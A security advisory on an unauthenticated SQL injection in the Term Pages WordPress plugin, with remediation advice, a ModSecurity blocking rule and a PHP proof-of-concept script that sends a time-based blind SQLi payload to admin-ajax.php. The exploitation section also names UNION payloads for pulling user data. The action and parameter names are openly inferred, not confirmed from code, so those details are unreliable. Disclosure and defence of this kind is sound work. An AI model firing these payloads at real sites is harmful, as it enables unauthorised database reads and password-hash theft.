Atomic Edge analysis of CVE-2026-16949 (metadata-based): This is an unauthenticated SQL injection in the Term Pages WordPress plugin, affecting versions up to and including 1.0.0. The vulnerability is rated 7.5 (High) with a CVSS vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating remote exploitation without authentication, low complexity, and high confidentiality impact. The plugin’s likely function is to display posts associated with specific taxonomy terms, meaning it probably exposes a query parameter, shortcode, or AJAX endpoint that accepts a term identifier.
Root Cause: The CWE-89 classification and the description state insufficient escaping on a user-supplied parameter and lack of preparation on an existing SQL query. Atomic Edge research infers the plugin builds a SQL statement by concatenating a request parameter directly into the query string. Common WordPress patterns include a shortcode handler, an AJAX action (e.g., `term_pages_get_pages`), or a direct query in a template file that reads from `$_GET` or `$_POST` without using `$wpdb->prepare()` or `esc_sql()`. Because no source code diff is available, the exact vulnerable line and parameter name cannot be confirmed. The conclusion that a parameter is unsafely concatenated is inferred from the CWE and description, not confirmed from code.
Exploitation: An unauthenticated attacker can send a crafted request to the vulnerable endpoint with a SQL injection payload in the parameter used by the plugin. The likely attack surfaces are `/wp-admin/admin-ajax.php` with an action such as `term_pages_action` or `term_pages_get_pages`, or a direct query string on a page containing the plugin’s shortcode. A typical payload appends ` AND (SELECT SLEEP(5))` or a UNION-based query to extract data from `wp_users`. Atomic Edge analysis expects the parameter to be named after a term ID, for example `term_id`, `cat`, `tag`, or `page_id`. Without the plugin source, the exact parameter and action names are inferred from WordPress plugin naming conventions and the plugin slug.
Remediation: The fix must replace string concatenation with `$wpdb->prepare()` and cast any numeric identifier to an integer before use. The patched version 2.0.0 likely introduces a prepared statement for the query and applies `intval()` or `absint()` on the term ID parameter. Developers should also add capability and nonce checks where the endpoint is intended for authenticated use, though the unauthenticated vector means the primary fix is query parameterization. Atomic Edge research notes that parameterization alone closes CWE-89, but the plugin should also validate that the requested term exists and is public.
Impact: Successful exploitation allows an unauthenticated attacker to read arbitrary data from the WordPress database, including user password hashes, session tokens, and private post content. The CVSS vector confirms high confidentiality impact with no integrity or availability impact. An attacker can use the extracted password hashes for offline cracking and lateral movement. Because the injection is unauthenticated and trivially exploitable, any site running Term Pages 1.0.0 is at immediate risk of full database disclosure.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-16949 (metadata-based)
# Blocks SQL injection attempts against the Term Pages AJAX handler.
# The action name 'term_pages_get_pages' and parameter 'term_id' are inferred.
# Extend the action list if additional vulnerable handlers are discovered.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202616949,phase:2,deny,status:403,chain,msg:'CVE-2026-16949 Term Pages Unauthenticated SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-16949'"
SecRule ARGS_POST:action "@streq term_pages_get_pages" "chain"
SecRule ARGS_POST:term_id "@detectSQLi" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-16949 - Term Pages <= 1.0.0 - Unauthenticated SQL Injection
// WARNING: This PoC is for authorized security testing only.
// It demonstrates a time-based blind SQL injection against the Term Pages plugin.
// Assumption: The plugin exposes an AJAX action named 'term_pages_get_pages'
// that accepts a 'term_id' parameter. The action name and parameter are inferred
// from WordPress plugin conventions because no source code is available.
$target_url = 'http://example.com'; // Change to the target WordPress site
// Build the cURL request to admin-ajax.php
$url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// SQL injection payload appended to the term_id parameter
// This payload forces a 5-second delay if the injection is successful.
$payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)";
$data = [
'action' => 'term_pages_get_pages', // Inferred AJAX action
'term_id' => $payload, // Vulnerable parameter (inferred)
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Elapsed time: " . round($elapsed, 2) . " secondsn";
if ($elapsed >= 5) {
echo "[+] Target appears vulnerable to time-based SQL injection.n";
} else {
echo "[-] No significant delay detected. Target may be patched or the endpoint guess is incorrect.n";
}
// Note: If the AJAX action differs, adjust the action and parameter names
// based on observed plugin behavior or traffic analysis.
?>